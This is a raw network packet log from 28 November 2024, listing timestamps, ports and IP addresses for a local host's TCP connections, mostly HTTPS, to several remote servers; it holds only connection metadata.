Nov 28, 2024 17:24:21.638621092 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.638674974 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.638683081 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.638726950 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.644890070 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.644911051 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.644961119 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.644968987 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.644994974 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.645015955 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.651190042 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.651212931 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.651264906 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.651272058 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.651319027 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.657541037 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.657565117 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.657612085 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.657618999 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.657696009 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.664937019 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.664959908 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.664999008 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.665009022 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.665036917 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.665057898 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.676784992 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.676857948 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.676881075 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.676920891 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.678755999 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.678828001 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.678834915 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.678869009 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.680921078 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.680990934 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.680996895 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.681031942 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.683692932 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.683754921 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.683760881 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.683794022 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.685877085 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.685950994 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.685956955 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.685993910 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.688127995 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.688184977 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.688191891 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.688227892 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.690855980 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.690915108 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.690921068 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.690957069 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.693212032 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.693267107 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.728008032 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.728116035 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.728144884 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.729547977 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.730988026 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.731060028 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.731070995 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.731102943 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.734057903 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.734127998 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.734137058 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.734345913 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.737348080 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.737433910 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.737441063 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.737533092 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.741508007 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.741573095 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.741580963 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.741621971 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.744699955 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.744765997 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.744788885 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.744903088 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.747936964 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.748019934 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.748042107 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.748272896 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.752198935 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.752321005 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.752329111 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.752454996 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.755494118 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.755561113 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.755572081 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.755763054 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.758686066 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.758761883 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.758770943 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.758903027 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.762492895 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.762562037 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.762569904 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.762706041 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.766685963 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.766758919 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.766765118 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.768804073 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.769809008 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.769881010 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.769887924 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.773159981 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.773237944 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.773247004 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.774005890 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.777270079 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.777344942 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.777360916 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.777406931 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.780576944 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.780642986 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.780658007 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.780858040 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.800211906 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.800251961 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.800476074 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.827738047 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.827761889 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.827811956 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.827841043 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.827866077 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.827950001 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.834350109 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.834368944 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.834455967 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.834465981 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.834505081 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.836508989 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.836530924 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.841238976 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.841255903 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.841331005 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.841342926 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.841563940 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.842540026 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.843133926 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.843168020 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.843853951 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.843861103 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.847345114 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.847399950 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.871921062 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.871961117 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.872210979 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.899333000 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.899394989 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.912007093 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.912024975 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.938744068 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.938826084 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.938842058 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.938929081 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.941533089 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.941621065 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.941628933 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.941689014 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.945126057 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.945210934 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.945219040 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.945468903 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.948412895 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.948486090 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.948493958 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.948581934 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.952521086 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.952608109 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.055334091 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.055392027 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.159421921 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.159509897 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.286171913 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:22.286252022 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:22.286381960 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:22.299246073 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:22.299360037 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:22.299411058 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:22.299433947 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:22.304027081 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:22.304086924 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:22.304174900 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:22.310491085 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:22.310506105 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:22.339338064 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.339390039 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.373107910 CET	49745	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:22.373204947 CET	443	49745	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:22.373375893 CET	49745	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:22.373476982 CET	49746	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:22.373516083 CET	443	49746	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:22.373585939 CET	49747	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:22.373605967 CET	49746	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:22.373613119 CET	443	49747	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:22.373667002 CET	49747	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:22.373856068 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:22.373889923 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:22.373940945 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:22.375370979 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:22.375385046 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:22.375576973 CET	49747	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:22.375601053 CET	443	49747	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:22.375771999 CET	49746	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:22.375785112 CET	443	49746	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:22.375890017 CET	49745	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:22.375916004 CET	443	49745	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:22.499336958 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.499403954 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.567467928 CET	49730	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:22.567492008 CET	443	49730	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:22.579561949 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.586004972 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.586029053 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.591376066 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.591444016 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.606810093 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.606822968 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.606832981 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.606894970 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.606904030 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.606945992 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.610361099 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.610375881 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.610387087 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.610445023 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.610451937 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.610464096 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.610543966 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.610548973 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.610563993 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.610646963 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.612832069 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.612880945 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.614012003 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.614088058 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.614869118 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.614876032 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.618185043 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.618195057 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.624684095 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.624692917 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.624702930 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.624763012 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.624768972 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.624829054 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.628144026 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.628432035 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.629223108 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.629230976 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.690793037 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:22.691299915 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:22.691406965 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:22.691868067 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:22.691893101 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:22.794298887 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:22.794787884 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:22.794802904 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:22.795365095 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:22.795370102 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:22.868123055 CET	49751	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:22.868175030 CET	443	49751	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:22.868246078 CET	49751	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:22.868618965 CET	49751	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:22.868634939 CET	443	49751	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:22.950068951 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.950110912 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:22.950247049 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.950669050 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:22.950685024 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:23.078223944 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:23.078280926 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:23.078352928 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:23.078702927 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:23.078707933 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:23.144665003 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.144731045 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.144838095 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.145868063 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.145910978 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.145984888 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.146008015 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.149302959 CET	49754	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.149354935 CET	443	49754	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.149410963 CET	49754	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.149693966 CET	49754	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.149709940 CET	443	49754	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.248163939 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.248225927 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.248389959 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.249735117 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.249735117 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.249751091 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.249761105 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.261832952 CET	49755	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.261876106 CET	443	49755	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.262135983 CET	49755	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.263983011 CET	49755	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.263998032 CET	443	49755	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.628793955 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.629395962 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.629410982 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.629897118 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.629904032 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.694706917 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.695550919 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.695560932 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.696293116 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:23.696296930 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:23.746268988 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:23.746321917 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:24.066823959 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.066876888 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.066963911 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.068295956 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.068315983 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.068326950 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.068331957 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.151298046 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.151369095 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.151488066 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.204027891 CET	443	49745	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.246218920 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.246247053 CET	443	49747	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.251985073 CET	443	49746	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:24.266720057 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.273257971 CET	49745	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.382611036 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.383322001 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.383327961 CET	49747	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.456753016 CET	49746	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:24.471724987 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.471724987 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.471745014 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.471754074 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:24.479243040 CET	49756	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:24.479274035 CET	443	49756	13.107.246.63	192.168.2.6
